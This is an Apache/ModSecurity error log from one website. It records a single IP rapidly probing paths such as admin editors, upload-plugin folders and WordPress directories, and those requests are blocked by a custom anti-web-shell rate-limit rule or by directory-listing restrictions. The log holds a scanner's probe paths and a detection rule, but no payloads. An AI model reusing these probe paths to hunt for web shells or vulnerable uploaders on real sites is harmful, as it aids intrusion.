[Tue Feb 03 17:47:35.329095 2026] [:error] [pid 5229:tid 5250] [client 149.102.230.131:44030] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aYHEN0KmEgmJub93yUq1ggAAAZM"]
[Tue Feb 03 17:47:35.933239 2026] [:error] [pid 28720:tid 28727] [client 149.102.230.131:44032] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aYHEN2mRXm2bmr_sYiad7gAAAQU"]
[Tue Feb 03 17:47:36.531004 2026] [:error] [pid 42921:tid 42978] [client 149.102.230.131:44038] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aYHEOIblShffGl-01odHygAAAFQ"]
[Tue Feb 03 17:47:37.119644 2026] [:error] [pid 42921:tid 42966] [client 149.102.230.131:44054] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aYHEOYblShffGl-01odHywAAAEg"]
[Tue Feb 03 17:47:37.706935 2026] [:error] [pid 5148:tid 5160] [client 149.102.230.131:43960] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aYHEOb83HCHLtUIbS7KsdQAAAUk"]
[Tue Feb 03 17:47:38.339949 2026] [:error] [pid 42920:tid 42930] [client 149.102.230.131:43972] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aYHEOiix3YKltG4EU0lTvAAAAAE"]
[Tue Feb 03 17:47:38.926040 2026] [:error] [pid 42920:tid 42929] [client 149.102.230.131:43988] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aYHEOiix3YKltG4EU0lTvgAAAAA"]
[Tue Feb 03 17:47:39.511496 2026] [:error] [pid 5148:tid 5164] [client 149.102.230.131:44004] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aYHEO783HCHLtUIbS7KseQAAAU0"]
[Tue Feb 03 17:47:40.125685 2026] [:error] [pid 5229:tid 5247] [client 149.102.230.131:44008] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aYHEPEKmEgmJub93yUq1gwAAAZA"]
[Tue Feb 03 17:47:40.916092 2026] [:error] [pid 28720:tid 28725] [client 149.102.230.131:44016] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aYHEPGmRXm2bmr_sYiad9wAAAQM"]
[Tue Feb 03 17:47:41.522838 2026] [:error] [pid 5148:tid 5163] [client 149.102.230.131:44028] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aYHEPb83HCHLtUIbS7KsfQAAAUw"]
[Tue Feb 03 17:47:42.116437 2026] [:error] [pid 28720:tid 28727] [client 149.102.230.131:44034] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aYHEPmmRXm2bmr_sYiad-gAAAQU"]
[Tue Feb 03 17:47:42.703359 2026] [:error] [pid 42921:tid 42982] [client 149.102.230.131:44038] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aYHEPoblShffGl-01odH1gAAAFg"]
[Tue Feb 03 17:47:43.291049 2026] [:error] [pid 5148:tid 5173] [client 149.102.230.131:44046] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aYHEP783HCHLtUIbS7KsfwAAAVY"]
[Tue Feb 03 17:47:43.928468 2026] [:error] [pid 5148:tid 5156] [client 149.102.230.131:44056] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/editor/"] [unique_id "aYHEP783HCHLtUIbS7KsgAAAAUU"]
[Tue Feb 03 17:47:44.654645 2026] [:error] [pid 42922:tid 42999] [client 149.102.230.131:44062] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aYHEQGazX4WPS_dQRkhpdQAAAI4"]
[Tue Feb 03 17:47:45.254661 2026] [:error] [pid 43028:tid 43039] [client 149.102.230.131:44078] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aYHEQVnHWnJD4cJC5DtjVgAAAMk"]
[Tue Feb 03 17:47:45.842145 2026] [:error] [pid 5229:tid 5244] [client 149.102.230.131:44084] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aYHEQUKmEgmJub93yUq1iQAAAY0"]
[Tue Feb 03 17:47:46.429584 2026] [:error] [pid 5229:tid 5252] [client 149.102.230.131:44090] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/include/"] [unique_id "aYHEQkKmEgmJub93yUq1iwAAAZU"]
[Tue Feb 03 17:47:47.027534 2026] [:error] [pid 5229:tid 5235] [client 149.102.230.131:44092] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aYHEQ0KmEgmJub93yUq1jgAAAYQ"]
[Tue Feb 03 17:47:47.617998 2026] [:error] [pid 5229:tid 5253] [client 149.102.230.131:39422] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aYHEQ0KmEgmJub93yUq1kgAAAZY"]
[Tue Feb 03 17:47:48.226145 2026] [:error] [pid 28720:tid 28730] [client 149.102.230.131:39428] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aYHERGmRXm2bmr_sYiaeBwAAAQg"]
[Tue Feb 03 17:47:48.845400 2026] [:error] [pid 28720:tid 28722] [client 149.102.230.131:39440] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Assets/"] [unique_id "aYHERGmRXm2bmr_sYiaeCQAAAQA"]
[Tue Feb 03 17:47:49.487009 2026] [:error] [pid 42922:tid 43006] [client 149.102.230.131:39442] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/stories/"] [unique_id "aYHERWazX4WPS_dQRkhpeAAAAJU"]
[Tue Feb 03 17:47:56.072113 2026] [autoindex:error] [pid 42920:tid 42941] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:47:59.535697 2026] [autoindex:error] [pid 42920:tid 42936] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:01.584684 2026] [autoindex:error] [pid 42920:tid 42939] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:01.890357 2026] [autoindex:error] [pid 42920:tid 42934] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:02.192820 2026] [autoindex:error] [pid 42920:tid 42930] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:02.504112 2026] [autoindex:error] [pid 42920:tid 42935] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:02.803118 2026] [autoindex:error] [pid 42920:tid 42942] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:03.100383 2026] [autoindex:error] [pid 42920:tid 42938] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:03.423647 2026] [autoindex:error] [pid 42920:tid 42952] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:03.725105 2026] [autoindex:error] [pid 42920:tid 42936] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:05.712372 2026] [autoindex:error] [pid 42920:tid 42950] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:06.016303 2026] [autoindex:error] [pid 42920:tid 42939] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:06.318562 2026] [autoindex:error] [pid 42920:tid 42951] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:06.626955 2026] [autoindex:error] [pid 42920:tid 42934] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:06.931047 2026] [autoindex:error] [pid 42920:tid 42943] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:07.231625 2026] [autoindex:error] [pid 42920:tid 42937] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:07.536820 2026] [autoindex:error] [pid 42920:tid 42942] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:07.839185 2026] [autoindex:error] [pid 42920:tid 42953] [client 149.102.230.131:39450] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 03 17:48:14.352330 2026] [:error] [pid 42920:tid 42943] [client 149.102.230.131:39450] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aYHEXiix3YKltG4EU0lT-gAAAA4"]
[Tue Feb 03 17:48:14.957257 2026] [:error] [pid 42922:tid 43001] [client 149.102.230.131:43724] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aYHEXmazX4WPS_dQRkhpfwAAAJA"]
[Tue Feb 03 17:48:15.543904 2026] [:error] [pid 43028:tid 43053] [client 149.102.230.131:43734] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aYHEX1nHWnJD4cJC5DtjdAAAANc"]
[Tue Feb 03 17:48:16.152058 2026] [:error] [pid 5229:tid 5252] [client 149.102.230.131:43750] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aYHEYEKmEgmJub93yUq1zAAAAZU"]
[Tue Feb 03 17:48:16.751394 2026] [:error] [pid 42922:tid 43006] [client 149.102.230.131:43760] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/components/"] [unique_id "aYHEYGazX4WPS_dQRkhpgQAAAJU"]
[Tue Feb 03 17:48:17.339500 2026] [:error] [pid 5148:tid 5151] [client 149.102.230.131:43774] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/components/"] [unique_id "aYHEYb83HCHLtUIbS7KsogAAAUA"]
[Tue Feb 03 17:48:18.017319 2026] [:error] [pid 28720:tid 28735] [client 149.102.230.131:58468] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/components/"] [unique_id "aYHEYmmRXm2bmr_sYiaeFAAAAQ0"]
[Tue Feb 03 17:48:18.630161 2026] [:error] [pid 5229:tid 5248] [client 149.102.230.131:58472] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/components/"] [unique_id "aYHEYkKmEgmJub93yUq10gAAAZE"]
[Tue Feb 03 17:48:19.217781 2026] [:error] [pid 5229:tid 5233] [client 149.102.230.131:58482] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aYHEY0KmEgmJub93yUq10wAAAYI"]
[Tue Feb 03 17:48:19.802088 2026] [:error] [pid 5148:tid 5169] [client 149.102.230.131:58486] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aYHEY783HCHLtUIbS7KspgAAAVI"]
[Tue Feb 03 17:48:20.437956 2026] [:error] [pid 5229:tid 5253] [client 149.102.230.131:58496] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aYHEZEKmEgmJub93yUq12AAAAZY"]
[Tue Feb 03 17:48:21.077280 2026] [:error] [pid 5229:tid 5234] [client 149.102.230.131:58504] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/"] [unique_id "aYHEZUKmEgmJub93yUq12wAAAYM"]
[Tue Feb 03 17:48:21.750415 2026] [:error] [pid 5229:tid 5243] [client 149.102.230.131:58514] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aYHEZUKmEgmJub93yUq13gAAAYw"]
[Tue Feb 03 17:48:22.338613 2026] [:error] [pid 5148:tid 5175] [client 149.102.230.131:58518] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aYHEZr83HCHLtUIbS7KsqwAAAVg"]
[Tue Feb 03 17:48:22.947344 2026] [:error] [pid 28720:tid 28728] [client 149.102.230.131:58526] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aYHEZmmRXm2bmr_sYiaeIgAAAQY"]
